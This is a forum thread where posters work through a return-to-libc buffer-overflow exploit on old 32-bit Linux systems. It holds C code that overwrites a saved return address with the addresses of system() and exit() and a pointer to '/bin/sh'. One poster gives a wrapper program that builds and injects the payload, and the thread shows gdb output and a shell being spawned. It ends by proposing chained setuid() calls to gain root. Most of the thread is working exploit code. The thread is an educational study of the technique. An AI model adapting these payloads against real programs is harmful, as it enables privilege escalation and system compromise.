Problem with simple return-to-libc exploit.

Hi

Interesting. I haven't done ret-to-libc for quite a while, but
actually, considering your code, I would have expected something
to happen.


Thus, I started up two of my old machines in understand to issue:

Quote:

---

Linux sarge 2.4.32 #1 SMP
gcc (GCC) 3.3.5 (Debian 1:3.3.5-13)

---

Quote:

---

Linux fc4 2.6.15-1.1831_FC4smp #1 SMP
gcc (GCC) 4.0.1 20050727 (Red Hat 4.0.1-5)

---

I made a quick ugly test on sarge. You may check the
shellcoder's handbook[1] for a short introduction.


Note: The following ret-to-libc illustrations will not work
per se. First, I have the addresses hardcoded, which will reduce
portability, second, there are two small logical errors in the code.
These illustrations are for educational purposes only.

Code:

---

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#define ADDRSYSTEM 0x4005e810


int shell;

char shellcode[12] =
        "\x10\xe8\x05\x40"      // system
        "\x00\x9b\x04\x40"      // exit
        "\xfc\xe4\x13\x40";    // /bin/sh


const int size = 16;
const int offset = 32;

int main(int argc, char *argv[])
{

  char buffer[size];
  int i;
  for (i=0;i<size;i++) buffer[i]='A';


//just for illustration: this will give me a "/bin/sh" string
  shell = ADDRSYSTEM;
  while(memcmp((void *)shell, "/bin/sh",8)){
      shell+=1;
  }
  printf("\"/bin/sh\" found at: %08x\n", shell);
  printf("buffer found at: %08x\n", &(buffer[0]));

  char *ptr=&(buffer[0]);

  for (i=0;i<size+offset;i++) *(ptr);

  for (i=0;i<12;i++)
    *(ptr) = shellcode[i];


  printf("hello.\n");
 
 return 0;
}

---

As expected, I got a shell. Remember, if you specify a correct exit-address,
your program will not cause a segmentation fault.



The same code runs correctly on the fc4-machine after adjusting the
"parameters", however, no shell is spawned. A check with gdb was enlightening:

Code:

---

(gdb) r
Reading symbols from shared object read from target memory...done.
Loaded system supplied DSO at 0x432000
buffer found at: bf881278
par found at: 080495a8
hello.
Detaching after fork from child process 26475.

Program exited with code 054.

---

Thus, I tried something else to "prove" that my shell gets spawned:

Code:

---

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#define ADDRSYSTEM 0x0055032b

char shellcode[12] =
        "\x2b\x03\x55\x00"      // system()
        "\xe4\x5a\x54\x00"      // exit()
        "\xa8\x95\x04\x08";    // &par


const int size = 16;
const int offset = 20;

char par[20] = "/bin/sh -c ls >l.ist";

int main(int argc, char *argv[])
{

  char buffer[size];
  int i;

  printf("buffer found at: %08x\n", &(buffer[0]));
  printf("par found at: %08x\n", &(par[0]));

  char *ptr=&(buffer[0]);

  for (i=0;i<size+offset;i++) *(ptr);

  for (i=0;i<12;i++)
    *(ptr) = shellcode[i];

  printf("hello.\n");
 
 return 0;
}

---

Indeed, after running the code, a file l.ist was created, proving
that my shell actually has been spawned.


Remark: On the fc4-machine, system() as well as exit() is loaded at
an address containing a leading \0x00, thus, that system is hard to
exploit in the ordinary sense.




So, in order to understand your problem, I would be interested in
the gdb-output, if you run your exploit without a breakpoint. The
segmentation error may simply be caused by your invalid cont-address
'AAAA'.


Another idea: you may try a different gcc-version (like 3.3.5)
or try different option-settings (don't forget to adjust offsets).
In the past, I did realise that some "exploits" did not work with one
compiler-version, but did with another




Wolftone, I would be interested in that link as well. Since these
techniques are relatively old and well-established and since there is a
lot of technical documentation publicly available, there should not be a
problem posting it (except it is on your own server and you don't want
that :) )



Cheers


[1] "The Shellcoder's Handbook", Jack Koziol et al.

Hi there

Okay, here's how I got it to work.

First of all I tried installing an older version of gcc(3.3.5) to see if it "just worked". But no. I also tried looking at the options being passed to gcc automatically. Some sneaky ones there (libmudflap - bounds checking?), but as far as i'm aware, no stack protection.

Okay then, continuing with gcc 3.3.5

Probing deeper with gdb, it seems the program was exiting cleanly (after swapping 'AAAA' with exit() ), but not doing anything. So I started to think more about the parameter being passed to the system() call.

I wasnt thinking clearly when I wrote a seperate utility to get the address of my enviroment variable ($BINSH="/bin/sh"). Passing that address with perl on the command-line wont work - obviously the address would change for each process.

So I scrapped perl, and wrote a wrapper program instead - wrapper.c:

Code:

---

include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>

unsigned long sp(void)
{
        __asm__("movl %esp, %eax");
}


int main(int argc, char *argv[])
{
  unsigned char *ptr, *buffer;
  int size,t,e;
  unsigned long system = 0xb7ede030, exit = 0xb7ed3e60, f;
 
  ptr = (unsigned char *)sp();

  printf("stack at %p - or thereabouts\n", ptr);
   

  /* Find enviroment variable on the stack */
  while(memcmp(ptr, "BINSH", 5))
  {
        ptr++;
  }

  printf("%s, found at, %p\n", ptr, ptr);
 
  /* miss out "BINSH=" */
  ptr = ptr + 6;
 
  printf("truncating ---- %s ---- new address is %p\n", ptr, ptr);
 
  /**** Just realised this is a very long winded way of putting and finding a
 string in memory, obviously it could have just went on the heap - O well...Having
 said that, I was worried it might get overwritten when execution context changes to './exploit' below.
Not sure if this is justified. ****/
 
 
 
  /* The buffer of the program we're wrapping, starts 24 bytes from the saved frame pointer, so..*/
    /*...... + 4 (EBP) + 4 (EIP - system call) + 4(exit call) + 4(ptr -> $BINSH) */
  size = 24 + 4 + 4 + 4 + 4;
 
  buffer = malloc(size);
  if(buffer == NULL)
  {
          printf("memory troubles\n");
          _exit(0);
  }
 
 
  /* Staying true to the original attempt at this, fill the first part of the buffer with A's */
  /* overwriting EBP also */
    memset(buffer, 0x41, 28);
   
  /* now add the return address of system() to the buffer and sort out endianess */
  for(t=0,e=28;t<4;t++,e++)
  {
           
        buffer[e] = (system & 0x000000ff);
        system >>= 8;
  }
 
  /* and exit()... */
  for(t=0;t<4;t++,e++)
  {
           
        buffer[e] = (exit & 0x000000ff);
        exit >>= 8;
  }
 
  /* and finally, ptr - corresponding to $BINSH */
  f = (unsigned long)ptr;
  for(t=0;t<4;t++,e++)
  {
           
        buffer[e] = (f & 0x000000ff);
        f >>= 8;
  }
 
  /* Check the buffer *//*
  for(t=0;buffer[t]!=0x00;t++)
          printf("buffer[%d] = %x\n", t, buffer[t]);
    */
       
  /* now execute the vulnerable program (and hope for the best) */
 
  t = execl("./exploit", "exploit", buffer, NULL);
 
  if(t=-1)
  {
          printf("didnt work\n");
  }
 
  free(buffer);
 
  return 0;
}

---

And run it:

Quote:

---

$ ./wrapper
stack at 0xbffff228 - or thereabouts
BINSH=/bin/sh, found at, 0xbffffc7e
truncating ---- /bin/sh ---- new address is 0xbffffc84
sh: bin/sh: No such file or directory

---

Result!

While a shell wasnt spawned, its only because the string is missing a leading '/' i.e its off by one byte. So I just amend the line in wrapper.c:

Code:

---

ptr = ptr + 6 - 1;

---

and viola..

Quote:

---

sh-3.2$ exit
exit

---

--------

Thanks for the insight Sec. WolfeTone's link had some stuff about stack protection schemes, which im going to start looking at next, plus Address Space Randomization.

Also one might like to consider how to get root access if this program was set suid root. I remember reading about making multiple calls to libc (setuid() etc.). I cant quite remember where I read this, but ill have a look and maybe post that here too.

Cheers